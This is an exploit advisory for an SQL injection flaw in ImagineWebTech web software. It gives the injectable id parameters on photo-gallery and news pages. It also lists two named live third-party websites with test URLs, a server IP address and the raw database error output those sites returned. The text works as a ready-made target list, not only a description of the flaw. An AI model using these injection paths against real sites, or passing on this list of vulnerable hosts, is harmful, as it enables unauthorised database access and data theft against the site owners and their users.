############################################################################################
# Exploit Title : IWT ImagineWebTech SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 16/03/2019
# Vendor Homepage : imaginewebtech.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################################
# Impact :
***********
IWT ImagineWebTech is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request
to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability
may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
############################################################################################
# SQL Injection Exploit :
**********************
/photo-gallery.html?id=[SQL Injection]
/photo-gallery.php?id=[SQL Injection]
/news.php?id=[SQL Injection]
############################################################################################
# Example Vulnerable Sites :
*************************
[+] sanklecha.in/photo-gallery.html?id=1%27
[+] ausindia.org/photo-gallery.php?id=242%27
Vulnerable IP Address =>
(192.185.28.118) => There are 159 domains hosted on this server.
############################################################################################
# Example SQL Database Error :
****************************
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result
resource in /home/ausindia/public_html/photo-gallery.php on line 51
Error in Get Photo List Details
select photo_id,photo_image,comment from iwt_photo where cat_id=242' order by photo_id
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' order by photo_id' at line 1
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in
/home/sanklech/public_html/photo-gallery.html on line 20
Error in Get Photo List Details
select * from iwt_photos where photo_category_id=1' order by created_date asc
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '' order by created_date asc' at line 1
############################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
############################################################################################